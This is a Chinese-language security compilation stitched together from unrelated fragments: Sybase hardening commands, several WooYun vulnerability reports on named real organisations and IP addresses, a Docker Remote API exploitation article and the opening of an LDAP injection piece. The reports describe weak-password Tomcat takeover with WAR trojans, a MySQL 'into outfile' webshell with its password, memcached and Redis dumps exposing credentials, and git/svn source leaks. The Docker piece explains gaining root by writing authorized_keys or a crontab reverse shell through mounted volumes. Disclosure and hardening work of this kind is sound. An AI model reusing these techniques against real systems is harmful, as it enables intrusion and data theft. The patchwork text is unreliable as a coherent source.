-?显示 isql 开关的语法摘要。 -L列出在本地配置的服务器和在网络上广播的服务器的名称。 -U login_id用户登录 ID。登录 ID 区分大小写。 -P password 是用户指定的密码。如果未使用-P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql 使用默认密码NULL)。密码区分大小写。 -S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。 -H hostname 是使用的客户端的主机名称。 -d use database name,用于指定使用数据库名

2)、官方Sybase SQL Advantage 缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。 b、只支持SQL语句,个人觉得就是isql的图形化版,有所不便。 3)、官方Sybase Central 缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。 b、功能不是很强大 4)、DBArtisan

加固与防范


口令

sp_password “原密码”, “新密码”,用户名
例如将sa用户的密码由空改为123456:
sp_password NULL,”123456”,sa

sp_configure “minimum password length”,8 ---密码最短长度 sp_configure “check password for digit”,1 ---至少包含一个数字 sp_configure “systemwide password expiration”,90 ---口令有效时长 sp_configure “maximum failed logins”,5 ---设置口令错误锁定阀值
删除扩展存储过程
xp_cmdshell
, 并删 除
sybsyesp.dll

exec sp_dropextendedproc xp_cmdshell
关闭sa账户的使用:
sp_locklogin sa,"lock“
关闭远程访问:
exec sp_configure “allow remote access” ,0
关闭后,很多服务将无法使用,比如备份
登陆IP白名单
系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆IP白名单
create procedure login_trg as declare @ip varchar(18),@login_name varchar(20) begin select @ip=t.ipaddr,@login_name=suser_name() from master.dbo.sysprocesses t where t.spid=@@spid if @ip<>'192.168.0.102' begin raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name select syb_quit() end else print 'Welcome!' end
创建登录触发器后,执行如下命令:
isql>grant execute on login_trg to loginname isql>sp_modifylogin loginname, "login script",login_trg

日志

isql>exec sp_configure "log audit logon failure",1 --记录登录失败信息 isql>exec sp_configure "log audit logon success",1 --记录登录成功信息

某高校教务处tomcat配置不当致学生信息泄露

缺陷编号:wooyun-2015-0128555 漏洞标题:某高校教务处tomcat配置不当致学生信息泄露 相关厂商:河南理工大学 漏洞作者: red0x 提交时间:2015-07-23 12:37 修复时间:2015-07-28 12:38 公开时间:2015-07-28 12:38 漏洞类型:系统/服务运维配置不当


漏洞说明
某高校教务处tomcat配置不当至学生信息泄露,
/manager/html
存在弱口令,危害整个服务器 河南理工大学教务处内网服务器tomcat服务配置不当,致使大量师生敏感信息泄露 漏洞地址链接:http://218.196.246.72:8080/zlk/index.jsp?leibie=jxpg (学校内网,要用vpn的-->http://vpn.hpu.edu.cn) 像这样 然后,就是
https://vpn.hpu.edu.cn/web/1/http/0/218.196.246.72:8080/manager/html
弱密码进去, 上传war木马, 拿下webshell, 遍历文件,审计源码,得到大量敏感师生信息 可提权,拿服务器 服务器上还有管理员大量的私人信息,泄露危害极大,请及时修复啊。
修复方案: tomcat降权,增加conf\tomcat-users.xml 密码复杂性,或者删掉manager/html.

Apache未禁止目录浏览导致用户信息泄露

缺陷编号:wooyun-2011-02520 漏洞标题:Apache未禁止目录浏览导致.cn域名的用户信息泄露 相关厂商:新网互联www.dns.com.cn 漏洞作者: pestu 提交时间:2011-07-18 13:56 修复时间:2011-07-18 15:15 公开时间:2011-07-18 15:15 漏洞类型:系统/服务运维配置不当


漏洞说明
http://122.70.138.50/cn/ 该目录未禁目录浏览,导致大量.cn域名的用户信息泄露.受影响的域名大约有21000个左右 Apache的配置文件
httpd.conf
允许
Inddexes
选项 该问题主机是新网互联用来审核.cn域名的用户实名信息的。

http://122.70.138.50/cn/domain_info.txt http://122.70.138.50/cn/domain_reason.txt http://122.70.138.50/cn/error0.csv http://122.70.138.50/cn/error1.csv http://122.70.138.50/cn/error2.csv


漏洞证明

中国联通某处Mysql配置不当引发的问题

缺陷编号:wooyun-2015-0114778 漏洞标题:中国联通某处Mysql配置不当引发的问题(涉及联通电子工单系统、泛微协同办公、智能综合办公系统) 相关厂商:中国联通 漏洞作者: 路人甲 提交时间:2015-05-18 16:19 修复时间:2015-07-06 19:20 公开时间:2015-07-06 19:20 漏洞类型:系统/服务运维配置不当


漏洞说明
可以控制联通电子工单系统(内含几十万客户信息) 相关单位,吉林省延边州联通,由于管理员疏忽导致mysql以
--skip-grant-tables
参数启动,导致可以使用任意账户登录mysql服务器,进而可以
mysql into outfile
一句话webshell 系统地址 工单系统 http://202.111.175.199/system/login.php 泛微 http://202.111.175.199:8888/login.php 智能综合办公系统 http://202.111.175.199:8000/
漏洞证明
端口扫描 202.111.175.199 扫描到了3306和3336端口,对其进行简单弱口令测试后发现可以登录3336端口,以任意身份登录 通过mysql导出一句话到大马 导出一句话
select ");?>" into outfile 'D:/www/wooyun.php';
然后利用小马上传webshell 地址 http://202.111.175.199/inf0.php 密码angel 进而利用system权限webshell获取administrator密码登录3389 利用管理员留存的mysql管理器我们看看里面有什么 通过分析该服务器得知数据库
xin
为工单系统数据库 获取管理员密码登录工单系统 查看客户信息 进入详情 泛微和通达OA就不进行登录演示了,虽然我解不开管理员密码,但是我都有服务端了,我可以重置它密码。 泛微和通达OA里面的信息可能会涉及联通一些敏感业务,所以也就不再继续了! 顺便利用相似口令我们还可以登录内网的 192.168.0.4 192.168.0.5

memcached未作IP限制导致缓存数据可被攻击者控制

缺陷编号:wooyun-2010-0790 漏洞标题:memcached未作IP限制导致缓存数据可被攻击者控制 相关厂商:Sohu.com 漏洞作者: yunshu 提交时间:2010-11-06 20:50 修复时间:2010-12-06 21:00 公开时间:2010-12-06 21:00 漏洞类型:系统/服务运维配置不当

不正确的memcache配置会导致安全问题
C:\>nc -vv 61.135.178.118 11211 61.135.178.118: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN)
11211 (?) open stats items STAT items:4:number 1544729 STAT items:4:age 4772005 STAT items:5:number 101088 STAT items:5:age 18142497 STAT items:6:number 729610 STAT items:6:age 1410176 STAT items:7:number 1019924 STAT items:7:age 2873336 STAT items:8:number 1458432 STAT items:8:age 1503000 STAT items:9:number 155117 STAT items:9:age 600906 STAT items:10:number 159866 STAT items:10:age 1730665 STAT items:11:number 12428 STAT items:11:age 902232 STAT items:12:number 762 STAT items:12:age 7623799 END stats cachedump 12 10 ITEM 176174226#me
ITEM 173853058#me
ITEM 184790733#me
ITEM 184189728#me
ITEM 184067484#me
ITEM 179228126#me
ITEM 180014248#me
ITEM 184112063#me
ITEM 171451939#me
ITEM 154896159#me
END
这是某博客的cache 浏览了一下得到的URL,确定是那个cache取到的数据。如果我replace一下,能不能挂点东西? update: 扫描了3个C类,发现了更多有意思的东西,如passport之类:
get admin_user_admin VALUE admin_user_admin 1 207 a:8:{s:3:"uid";s:1:"1";s:8:"username";s:5:"admin";s:6:"passwd";s:32:"da2100201af e5c13dcdbb197b65f8bab";s:7:"regdate";s:1:"0";s:7:"logdate";s:1:"0";s:5:"logip";s :0:"";s:5:"intro";s:0:"";s:5:"level";s:2:"99";}
还有cache的被人注入的SQL语句,ITEM
adidas_time_date_product_day_clickcount_1299_and_1=2_union_select_1,user(), version(),4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2 6,27,28,29,30,31,32,33

,嘿嘿。

Discuz旗下5d6d某服务器Rsync任意文件上传

缺陷编号:wooyun-2012-010093 漏洞标题:Discuz旗下5d6d某服务器Rsync任意文件上传 相关厂商:Discuz! 漏洞作者: an1k3r 提交时间:2012-07-24 16:19 修复时间:2012-09-07 16:20 公开时间:2012-09-07 16:20 漏洞类型:系统/服务运维配置不当


漏洞说明
5d6d某服务器Web目录可直接Rsync上传任意文件,导致getshell。 服务器地址:124.238.252.252 其web目录Rsync可写,直接上传shell
漏洞证明
服务器是CentOS 5.2的,应该打了补丁,不能溢出。 服务器上运行的网站

LOCKet(臻至科技)漏洞一枚可直接内网渗透

缺陷编号:wooyun-2016-0204848 漏洞标题:LOCKet(臻至科技)漏洞一枚可直接内网渗透(Mail泄露/Getshell/Gitlab/Redis可致服务器沦陷) 相关厂商:zenzet.com 漏洞作者: 爱上平顶山 提交时间:2016-05-04 13:15 修复时间:2016-06-18 18:00 公开时间:2016-06-18 18:00 漏洞类型:重要敏感信息泄露


漏洞描述
Redis未授权访问 115.29.203.54:6379 115.29.203.54:7000 115.29.203.54:6789
Connected. 115.29.203.54:0>info # Server redis_version:2.8.17 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:899a50dd343b0f96 redis_mode:standalone os:Linux 2.6.32-358.6.2.el6.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll gcc_version:4.4.7 process_id:20493 run_id:29a859ecf22adfa374f77a992289339978377132 tcp_port:6379 uptime_in_seconds:35225407 uptime_in_days:407 hz:10 lru_clock:2710515 config_file: # Clients connected_clients:13 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 # Memory used_memory:1067992 used_memory_human:1.02M used_memory_rss:7475200 used_memory_peak:1117904 used_memory_peak_human:1.07M used_memory_lua:33792 mem_fragmentation_ratio:7.00 mem_allocator:jemalloc-3.6.0 # Persistence loading:0 rdb_changes_since_last_save:4 rdb_bgsave_in_progress:0 rdb_last_save_time:1449471155 rdb_last_bgsave_status:err rdb_last_bgsave_time_sec:0 rdb_current_bgsave_time_sec:-1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok # Stats total_connections_received:4169 total_commands_processed:21271 instantaneous_ops_per_sec:0 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:4785 evicted_keys:0 keyspace_hits:5340 keyspace_misses:156 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:291 # Replication role:master connected_slaves:0 master_repl_offset:0 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:13952.89 used_cpu_user:9476.04 used_cpu_sys_children:2241.05 used_cpu_user_children:175.00 # Keyspace db0:keys=1,expires=0,avg_ttl=0 115.29.203.54:0>keys * crackit
貌似被人撸了

豌豆荚git服务使用不当导致整站源代码泄露

缺陷编号:wooyun-2015-096049 漏洞标题:豌豆荚git服务使用不当导致整站源代码泄露 相关厂商:豌豆荚 漏洞作者: 我是小号 提交时间:2015-02-07 12:51 修复时间:2015-02-07 13:58 公开时间:2015-02-07 13:58 漏洞类型:重要敏感信息泄露


漏洞说明
问题站点:uowechat.wandoujia.com #1. 探测得到豌豆荚某分站的git配置文件夹可以未授权访问 http://uowechat.wandoujia.com/.git/config 说明整个git服务的源代码都可以被未授权脱下来了。 #2.拿出Perl脚本自动化查询目录:

D:\>perl 1.pl -v -u http://uowechat.wandoujia.com/.git
Downloading git files from http://uowechat.wandoujia.com/.git
Not found for COMMIT_EDITMSG: 401 Unauthorized
found config
found description
found HEAD
found index
found packed-refs
Not found for objects/info/alternates: 401 Unauthorized
Not found for info/grafts: 401 Unauthorized
found logs/HEAD
found objects/21/781e86ba9fc71129454bd00256b35c9294ab9e
found objects/41/6f10af77010d15cb7e9f9b04f1965eb66e2909
found objects/4c/c631822ce0513394c723e88b890f5d8974fa04
found objects/7b/477141babf0f7428b55b3a5bd11bd05d0e355e
found objects/42/ac3584755641a5771f52b114a809f3fef53870
found objects/7d/efbca812acba361fba467fe0742608c3449a0d
found objects/68/7fae808e3971978bfd9b0c1c2b3b3350135156
found objects/dd/f805ed1d7730211a717ee9dc6293936f66b7e7
found objects/f8/a01be9a11babb6618468124ab62fb8e2dd50a5
found objects/e0/474e360ef92e488fcf6e5941dfd81f94fbdb8b
found objects/2c/67b7b7c9f17267cba781357f23f675fd0c3a8a
found objects/4d/5fd2aa3aeb61d96a9f88a72dca76fa831df757
found objects/2b/432231076c0c7d729369399cae90b720ec9ea9
found objects/ab/e84b1ad4a22669c4e8af0242ab2532573ca830
found objects/af/97319f6c819cd89618e949bf774167d63568d7
found objects/cc/5dd5ba051dc3188f31679fa884795cc27666b4
found objects/c2/5f2a827a793cbd1aa595f608fef1cb1116abe8
found objects/d4/88054ccd96de32f0839f35076efa39439ed429
found objects/42/8033e673b0e18651510520f87b4f2d62c055e5
found objects/79/6bb005c182381652380a9b024dd127d5626e8b
found objects/98/56e7e28fa7306ace43a776b89a105db03e2108
found objects/54/1c067b58773778775a1c01396539243923caf8
found objects/60/63292d548767c581d5e5e0e54372273d743a4b
found objects/65/43a396e99e37718fb87afe739180a8efc64cae
found objects/2b/839c170525697e82fc7d0c0d957dabbef37e0d
found objects/3c/a9853094b25de5362a0a146e91df5d90d15955
found objects/d7/a736eb482e8088d66210c93a67e8aa41a479e5
found objects/13/fc9c3534ae54b585165fa60ffb93d5237de7be
found objects/d9/23e0a6863ed8816342851dd8cfbe8e9aa6ffed
found objects/01/b9566643938c700b7a5b59e765c6ef5322d4c4
found objects/c0/0eedfc4d8b32857b29aefc7f47e38aaca316d7
found objects/b2/552bc8dce740984a0793fb687210072f44631f
found objects/bf/4fa8ca05d1b6bd8274d8c12c7389b71b7d34ee
found objects/10/4199230d225b4a40fb64e4f60eabbddcb0350d
found objects/e1/8967ff8b06e4f54956e7918e79511ae87d9890
found objects/27/235db58a05274089e9e104438c8eb966658678
found objects/45/a331660decc7604f0ed8dd483f7c874e1c36c5
found objects/95/d5577d6569740e184986c78671dae01bce3d48
found objects/72/66efe7b2d3cd4adb09b1b53fc87384ee31a857
found objects/d1/389dc2f9d378b5c9422e72a73ab659f9449bec
found objects/28/63a6d130bd86ccc31a5d664463753e4e04a205
found objects/64/4539c07c96b41c8b8ad0910c449fddf11fdf8d
found objects/41/c5f512eb20ca63f590d0ecf8d9bd27ae60cb98
found objects/ef/af66512a513382ae2a72d32931ec733e19a11e
Not found for objects/b9/420f126eeb0495c68806e8b0d346201b747e96: 401 Unautho rized
found objects/b8/5f7b66685856dba58ca1bc6344f0c5350643f1
found objects/72/0d533cecacc2f1e8c2a0fa426ade55b8a536bb
found objects/af/00ef47453ad90bb81e0cd4bc1529f786e18ec7
found objects/11/abf77e2c7172b00ea442b1aaef41dff3a63cab
found objects/17/ee4fcae215c622f28468994ca4eb96f40bb46a
found objects/32/b1b06aef7eed00a8aa64932ece6de3f3ffa53d
found objects/92/7cd85b1646d3bd9bffc94da9d9dbf083c0aada
found objects/b9/f0d225b9f099ba06882332afac25ddaf58f6d3
found objects/ce/e6d78ab06f7291eb49c8a6b08138892908333d
found objects/b5/3b6060ee1b831d28fa88c90ed3d87834d9cd5b
found objects/6d/6771088561509d8580d197b0668a70766e0963
found objects/09/44f5aa1e05a51f153fbcfdddc377506594268f
found objects/e5/242a64e8ced2540ec96301c4bbaebbc825c624
found objects/b3/02b67131071942261ae450df918685d3e8ec51
found objects/20/03d0f43bab6a1f9001827530be3432c0e19952
found objects/a2/cd6bfe5a7610e402798c5e58c5ea8717c89f6d
found objects/95/20a00fc0ca60c69a07797bb2010463502e0910
found objects/2e/4f88cea10bc4bd7f3d6a461fb6e7036174f697
found objects/27/bfaa9d02fd2e093ff3e49319b49aa22b6b6278
found objects/7b/6cf5ec48ffc6f187ada63954d29cd24fe3562b
found objects/b6/2190ca95d02aa7bcecb4b78fda29b8cf127efb
found objects/71/a76387ee0e6a1968e5684f0e5444dda25c65a7
found objects/70/ead588f82c234f456b27fb2893ddecefb1a998
found objects/f1/e09b525fd48f1686235bb2b95058826db7f677
found objects/f8/459531a4b39c44476d5822e27570818baf71ce
found objects/8b/5690d9caa9d8380f2522dc8cd2b1268733520a
found objects/6b/b22c94d3c924f7f6ef857dc8f4fba56d8c5972
found objects/d1/fec87f9e90258402a9f53a05480416344736e1
found objects/3a/4f2184acacf348fba5947d3a757b05e74ed4d7
found objects/b2/1b7a51e5b1dfd2b6d8b5ab8ebf0878ec02e703
found objects/bc/fb89b4b16b5ee2bde9cc613e8375f2069ca4ff
found objects/0d/77120fa3d943cecb94a5c5faffbdbe2785c757
found objects/a7/6a62296420bd3d6af855435a3d71c27f8783fe
found objects/11/5fabc9f0de5d1203cf1bb62ebdef9e279c7447
found objects/9e/d1eaea7864fcd688240038cb128ab6347e21d7
found objects/9e/62ba0cda9ecb5e3aa67dbbaeac58dd9e71b1fb
found objects/80/e6d2048628a329eea6063ff90ef4db90a78b62
found objects/71/2636edaf23a153841e15af192b08d285a6e9c6
found refs/heads/master
Running git fsck to check for missing items

至此整个目录都脱下来了,如果要利用的话:
git reset --hard
就能还原整站了。
漏洞证明
进个目录截图证明一下: ~!: logs/HEAD

淘宝网某应用svn信息导致代码泄露

缺陷编号:wooyun-2012-012665 漏洞标题:淘宝网某应用svn信息导致代码泄露 相关厂商:淘宝网 漏洞作者: 有礼物送上 提交时间:2012-09-24 17:56 修复时间:2012-11-08 17:56 公开时间:2012-11-08 17:56 漏洞类型:敏感信息泄露


漏洞说明
LimeSurvey应用,众多目录svn信息泄露目录遍历:
http://vote.lz.taobao.com/admin/.svn/entries http://vote.lz.taobao.com/admin/scripts/fckeditor.266/editor/.svn/entries http://vote.lz.taobao.com/sql/.svn/entries

漏洞证明
init sql数据: phpinfo():

0x00 概述

最近提交了一些关于 docker remote api 未授权访问导致代码泄露、获取服务器root权限的漏洞,造成的影响都比较严重,比如
新姿势之获取果壳全站代码和多台机器root权限 新姿势之控制蜻蜓fm所有服务器 新姿势之获取百度机器root权限
因为之前关注这一块的人并不多,这个方法可以算是一个“新的姿势”,本文对漏洞产生的原因和利用过程进行简单的分析和说明,但因为时间和精力有限,可能会有错误,欢迎大家指出~

0x01 起因

先介绍一些东西~
docker swarm
是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供,具体的大家可以看官网介绍。 漏洞发现的起因是,有一位同学在使用docker swarm的时候,发现了管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,然后他研究了下,发现这是 Docker Remote API,可以执行docker命令,比如访问
http://host:2375/containers/json
会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,然后他就开始吐槽了,这尼玛太不安全了。 然后我想了想 swarm是用来管理docker集群的,应该放在内网才对。问了之后发现,他是在公网上的几台机器上安装swarm的,并且2375端口的访问策略是开放的,所以可以直接访问。 尼玛这一想,问题来了: 他是按照官方文档弄的,难不成文档里写的有问题? 他这么干,会不会有其他人也这么干,然后端口就直接暴露在公网了,那岂不是谁可以随便操作了docker了? 因为这位同学刚好有其他事情要忙,没时间撸,我之前也用过docker,所以我就继续研究了,然后就走上了挖掘新姿势的不归路...

0x02 背锅侠

要查清楚是谁的锅,首先要复现下问题,那么只有一种方法,照的文档装一遍docker swarm。 官网给出创建Docker Swarm集群的方法有: 使用
docker run
运行 swarm container(官方推荐,文档中都是使用该方法) 安装 swarm 二进制文件(executable swarm binary) 这里使用官方推荐方法,系统使用
ubuntu14.04
,按照 Build a Swarm cluster for production 这篇文档装了一遍。 这里简单描述下过程: 需要在每台机器上安装docker,并且运行
Docker Swarm container
需要一个或多个Swarm manager(主从)来管理docker 节点 管理的docker节点上需要开放一个TCP端口(2375)来与Swarm manager通信 这里的第三点就是前面提到的暴露的docker端口,我们来看一下文档中docker 节点具体执行的命令

sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

-H参数指定docker daemon绑定在了
tcp://0.0.0.0:2375
上。 docker默认安装的时候只会监听在
unix:///var/run/docker.sock
,因此这里是端口暴露的原因所在。 那么能不能说这个是 docker swarm 的锅呢? 我们来看一下文档中的安装环境

Prerequisites An Amazon Web Services (AWS) account Familiarity with AWS features and tools, such as: Elastic Cloud (EC2) Dashboard Virtual Private Cloud (VPC) Dashboard VPC Security groups Connecting to an EC2 instance using SSH

是在AWS VPC上,默认的访问策略是

AWS uses a “security group” to allow specific types of network traffic on your VPC network. The default security group’s initial set of rules deny all inbound traffic, allow all outbound traffic, and allow all traffic between instances.

即禁止所有的外网端口访问,文档中之后的部分修改了策略允许22和80端口访问,也就说在文档的环境中,不会存在2375端口暴露的问题,且文档中也提到了不要让docker 的端口暴露在外,虽然没有加字体加粗高亮~

For a production environment, you would apply more restrictive security measures. Do not leave Docker Engine ports unprotected.

然而即使高亮了也没有软用,首先是使用者并不一定有类似AWS的VPC环境,再者不是每个使用者都会认真的看文档,所以最终的结论是,这锅docker官方和使用者都得背,谁背的多就不好说了~

0x03 漏洞利用

说如何利用之前,我们先整理下现在能做的事情 ​执行docker命令,比如操作container、image等 那么如果当前运行的container,或者image内有代码或者其他敏感信息,就可以继续深入了,比如果壳和蜻蜓fm的漏洞,就是深入后的结果。 还有的话,可以做内网代理,进一步渗透。 到目前为止,我们能做的事情都是在docker的环境内,无法直接控制宿主机。 那么怎么才能控制宿主机呢?莫慌,分析下 docker是以root权限运行的,但docker执行命令只能在container内部,与宿主机是隔离的,即使是反弹一个shell,控制的也是container,除非有0day,不然是无法逃逸的到宿主机的~ 那么只能从docker命令本身下手,脑洞开了下,想到docker 运行 container的时候,可以将本地文件或目录作为
volume
挂载到container内,并且在container内部,这些文件和目录是可以修改的。 root权限进程,并且能够写文件,是不是似曾相识? 这里的场景和前段时间的
redis + ssh
漏洞很相似,那么这里需要看一下服务器是否有ssh服务,如果有的话,那么直接把/root/.ssh目录挂载到container内,比如/tmp/.ssh,然后修改
/tmp/.ssh/authorized_keys
文件,把自己的public key写进去,修改权限为
600
,然后就可以以root用户登录了。 注:有些服务器会配置不允许root用户直接登录,可以通过挂载 /etc/ssh/sshd_config 查看配置。这个时候,你换一个用户目录写入就行,并且挂载修改 /etc/sudoers 文件,直接配置成免密码,sudo切换root即可。 如果没有运行ssh服务,那么也可以利用挂载写
crontab
定时任务,比如ubuntu root用户的crontab文件在
/var/spool/cron/crontabs/root
,反弹一个shell~ 这里利用方式可能还有很多种,大家可以开下脑洞想哈~

0x04 影响

影响总结:攻击者可以利用该漏洞执行docker命令,获取敏感信息,并获取服务器root权限 目前在公网上暴露的
2375
端口还有不少,测了一些基本都可以利用。 但
docker swarm
更多的情况是用在企业内部,虽然在内网,也不意味着绝对安全,当边界被突破,就嘿嘿嘿了~

0x05 修复方案


注:因为本小节内容是看了文档后的个人理解,并且部分内容未进行实际验证,可能会错误,仅供参考!
如果你的2375端口是暴露在公网的,那么最简单的方式就是禁止外网访问或者设置白名单,因为根据官网介绍,swarm本来就不应该在公网中使用。 以上方法仅仅防止了外网访问,但如果本身已经在内网,对于已经撸进内网的攻击者,端口仍然处于可以直接访问的状态,那么有没一些防护方案呢? 为了找到答案,特意看了下docker swarm的文档,
Plan for Swarm in production
这篇文章提到了两种方案
第一种方法是使用
TLS认证
:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行,官网图如下: ​然而在我对公网中使用TLS的docker remote api(使用2376端口)测试中发现,即使没有证书,Docker CLI仍然可以正常访问,这里我也拿docker python api写了脚本,设置不验证证书有效性,也同样可以访问。 因为这我没有具体配置过TLS,只能根据以上测试结果推测,走TLS认证,只能防止MITM 攻击,还是无法解决端口未授权访问的问题。

第二种方法是网络访问控制(Network access control):文档中列出了 Swarm manager,Swarm nodes 等用到的端口,告诉你要配置合理的访问规则。文档中还提到了这么一段话 For added security you can configure the ephemeral port rules to only allow connections from interfaces on known Swarm devices. 大概意思是只允许信任的swarm devices之间通信。 理想情况就是docker 节点的2375端口只允许swarm manager来访问,但因为swarm manager可能会有多个,就需要配置多条规则,维护起来可能会具有一定复杂度,但只要swarm manager所在机器不被撸,就可以保证docker 节点的2375端口不被未授权访问。当然,这里还需要结合TLS一起使用。
总结来说就是,不要将端口直接暴露在公网,内网中使用需要设置严格的访问规则,并使用TLS。

0x06 瞎扯

如果你仔细阅读了docker swarm的文档,你就会发现除了2375端口,还有
其他一些端口也存在相同的问题
,这里就不一一的列出了。 本文主要说的是docker swarm,但是只要是会导致端口暴露的,都会存在问题,也许有一些使用者会因为某些原因,把端口配置成功公网访问,或者有另一个"swarm"呢? 还有想说的是,一个新的东西出来,用户和开发者更多关注的是其功能和便利性,而忽略了存在的安全性问题,之后还会有更多的 “docker remote api” 出现,谁将会是下一个呢? 最后还要感谢一下发现这个问题的同学(转我10wb我就告诉你是谁),没他也不会有这个漏洞~ 黑客,绝对是黑客!

0x00 前言

前些日子笔者在看OWASP测试指南时看到了对LDAP注入攻击的介绍,对此产生了兴趣,可是上面谈论的东西太少,在网上经过一番搜索之后找到了构成本文主要来源的资料,整理出来分享给大家。 本文主要分为两部分,第一部分为对LDAP的介绍,包括LDAP的应用背景和它的一些特性。第二部分也是本文的重点,讲解LDAP的注入攻防,读者朋友可以看到虽说是攻防,但实际侧重注入攻击层面。 第一部分主要整理自IBM Redbooks前三章对LDAP的介绍,第二部分主要来自笔者对08年黑帽大会paper的翻译。文章结尾会做一个小结,也会举例说明LDAP在现实中的真实存在性,最后本文会给出所参考过的资料信息。

0x01 LDAP出现背景

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。 随着互联网的广泛使用,web应用的数量呈爆炸式的增长,而这些应用的资源和数据呈分布式存储于目录中。通常不同的应用会有专属于自己相关数据的目录,即专有目录,专有目录数量的增长导致了信息孤岛(一种不能与其他相关信息系统之间进行互操作或者说协调工作的信息系统)的出现,系统和资源的共享及管理变得日益困难。 以查找联系人和加密证书为例,太多的目录明显会给计算机搜索带来巨大的压力,当然随之出现了相应的解决方案,如X.500,不过在介绍X.500之前先讨论一下目录和关系型数据库之间的一些关系,因为前面提到了web应用的数据是存储在目录中,而不是数据库中。的确,目录和数据库有很多共同之处,都能存储数据、并能在一定程度进行搜索和查询。另外还有一种玩笑的说法,使用数据库存在注入攻击,怎么样才能避免呢?使用LDAP代替数据库吧,当然这只是玩笑,LDAP的出现可以追溯到1980年,而针对数据库的SQLI则到2000年左右才出现。 不同之处在于目录适合于存放静态数据,而且不同于数据库,目录中存储的数据无论在类型和种类较之数据库中的数据都要更为繁多,包括音频、视频、可执行文件、文本等文件,另外目录中还存在目录的递归。相比之下,数据库中存储的数据在格式和类型都有较严格的约束,数据库有索引、视图、能处理事务(通常包含了一个序列的对数据库的读/写操作)。简单来说数据库更多见于处理专有类型的数据,而目录则具有通用用途。目录中的内容发生变化后会给搜索操作带来不便,因而目录服务在进行优化后更适宜于读访问,而非写、修改等操作。 X.500申明了目录客户端和目录服务器使用的目录访问协议(DAP),然而作为应用层协议,DAP要求完整的7层OSI协议栈操作,会要求比小环境(配置、资源有限的环境)所能提供的更多的资源,因此需要一种轻量级的协议来代替X.500,LDAP正是因此而生。

0x02 LDAP特性

简单了解一下LDAP:LDAP不定义客户端和服务端的工作方式,但会定义客户端和服务端的通信方式,另外,LDAP还会定义LDAP数据库的访问权限及服务端数据的格式和属性。LDAP有三种基本的通信机制:没有处理的匿名访问;基本的用户名、密码形式的认证;使用SASL、SSL的安全认证方式。LDAP和很多其他协议一样,基于tcp/ip协议通信,注重服务的可用性、信息的保密性等等。部署了LDAP的应用不会直接访问目录中的内容,一般通过函数调用或者API,应用可以通过定义的C、Java的API进行访问,Java应用的访问方式为JNDI(Java Naming and Directory Interface)。 LDAP目录以入口(entry,目录中存储的基本信息单元)的形式存储和组织数据结构,每个入口有一个唯一标识自己的专属名称(distnguished name),DN由一系列RDNs(ralative distinguished names)组成。另外还有两个常见的结构,对象类和属性。对象类(object class)会定义独一的OID,每个属性(attribute)也会分配唯一的OID号码。看一下定义对象类和属性的例子: 初始对象类定义:

objectclass: top objectclass: person

详细对象类定义:

objectclass: person


objectclasses=( 2.5.6.6 NAME 'person' DESC 'Defines entries that generically represent people.' SUP 'top' STRUCTURAL MUST ( cn $ sn ) MAY ( userPassword $ telephoneNumber $ seeAlso $ description ) )
属性定义:
attributetypes=( 2.5.4.4 NAME ( 'sn' 'surName' ) DESC 'This is the X.500 surname attribute, which contains the family name of a person.' SUP 2.5.4.41 EQUALITY 2.5.13.2 ORDERING 2.5.13.3 SUBSTR 2.5.13.4 USAGE userApplications )
LDAP以目录信息树形式存储信息,包含入口、对象、属性,关系图如下: 入口点和属性之间的关系为: 上述就是笔者对LDAP数据结构的简单介绍了,LDAP既然主要用于搜索查询,那它是怎么查询的呢? search语法:

attribute operator value search filter options:( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))

主要根据属性和值进行搜索,就如浏览网页时我们通常并不会直接浏览某个目录,而是其下存在的某个文件。 LDAP的URL形式为:

ldap://:/ :
] 例如: ldap://austin.ibm.com/ou=Austin,o=IBM ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)

看得出来在URL中这里使用逗号分隔查询,而数据库查询则使用'&'号,这是LDAP特有的,另外这里o表示组织(organization),u表示单元(unit),cn表示country name,可以查阅相关资了解这种简短表示法。

0x03 LDAP注入攻击剖析

1.引言

